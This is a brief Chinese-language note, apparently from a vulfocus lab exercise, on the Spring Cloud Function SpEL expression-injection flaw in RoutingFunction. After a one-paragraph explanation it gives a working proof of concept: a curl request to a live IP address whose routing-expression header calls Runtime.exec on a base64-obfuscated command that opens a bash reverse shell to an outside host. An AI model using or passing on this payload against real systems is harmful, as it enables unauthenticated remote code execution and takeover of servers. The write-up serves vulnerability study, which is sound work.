Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。
vulfocus

poc:
https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
curl -v '<http://101.201.71.136:34522/functionRouter>' -H "Content-Type: text/plain" -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzEuMTE2LjIuMTgvMTIzNCA8JjE=}|{base64,-d}|{bash,-i}")' --data 1111